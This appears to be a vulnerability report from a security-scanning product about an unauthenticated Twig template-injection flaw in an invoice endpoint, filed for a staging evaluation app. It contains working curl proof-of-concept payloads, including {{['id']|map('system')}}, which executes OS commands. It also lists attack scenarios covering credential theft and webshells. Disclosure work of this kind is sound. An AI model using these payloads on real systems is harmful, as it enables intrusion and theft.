CriticalVerifiedOpenWebA03:2021-Injection

Unauthenticated Twig SSTI leading to RCE on invoices/create (POST template)

POST
/invoices/create
StorefrontEvaluation environmentDetected 1x

Attack Path

2 stepsfrom/to/invoices/create

Business Impact

An unauthenticated attacker gains full remote code execution as www-data, allowing them to steal MySQL credentials from /app/[REDACTED-PATH] and pivot into the internal database host holding business and customer data. Persistent webshells enable complete application takeover, data exfiltration, and long-term footholds for further attacks. This constitutes a critical breach with likely regulatory, financial, and reputational consequences.

Description

invoices/create renders the user-supplied template POST field directly as a Twig template by constructing a Twig Environment with an ArrayLoader containing the raw input ($twig->render('invoice', $data)) with no sandbox enabled. Because arbitrary Twig syntax is compiled and executed server-side, an unauthenticated attacker can invoke PHP functions via Twig filters such as {{['id']|map('system')}}, achieving full OS command execution as the www-data user. The rendered output, including command results, is echoed unescaped into the Invoice Preview section of the HTTP 200 response.

Proof of Concept

Setup

No authentication required. invoices/create builds new Environment(new ArrayLoader(['invoice' => $_POST['template']])) and echoes $twig->render('invoice', $data) unescaped into the Invoice Preview section (confirmed via files/download?file=../invoices/create source disclosure).

Exploit

  1. Prove template evaluation:
curl -s -X POST http://storefront.example/invoices/create \
--data-urlencode "invoice_number=SSTI-PROBE-1" \
--data-urlencode "template={{7*7}}-{{'SSTICR2'}}"
  1. Escalate to OS command execution:
curl -s -X POST http://storefront.example/invoices/create \
--data-urlencode "invoice_number=RCE-PROBE-1" \
--data-urlencode "template={{['id']|map('system')}}"

Verification

  • Step 1: the preview-section div in the 200 response contains literal 49-SSTICR2 (7*7 evaluated server-side).
  • Step 2: the preview-section div contains the output of the executed command:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Array

i.e. system('id') was executed as www-data and its output rendered into the page.

Cleanup

No persisted state - the render is per-request only; nothing to clean up.

Observed Behavior

POSTing template={{7*7}}-{{'SSTICR2'}} returned HTTP 200 with 49-SSTICR2 rendered inside the preview-section div. POSTing template={{['id']|map('system')}} returned HTTP 200 with uid=33(www-data) gid=33(www-data) groups=33(www-data) in the same div, proving server-side execution of system() on attacker-controlled commands.

Attack Scenarios

  • 1

    An unauthenticated attacker executes arbitrary OS commands as www-data to read or modify the webroot, exfiltrate the MySQL credentials in /app/[REDACTED-PATH] and pivot to the internal mysql host.

  • 2

    An attacker achieves full application takeover by planting persistent webshells in the webroot via system() or file_put_contents.

  • 3

    An attacker chains the vulnerability with the path-traversal file-read on files/download/view_media.php to enumerate the filesystem before exploitation.

Triage & Management

Validation Status

StatusValidated
Last Validated2 days ago
Confidence
82%
VerdictConfirmed
Verification runs automatically when marked remediated

Exploitability

Exploit Available No

Asset Information

Organization Evaluation environment
Application Storefront
Vulnerability ID invoice-template-injection

Anonymized staging evaluation. Explore the full detail view; management actions are available in your own workspace.

Find issues in your app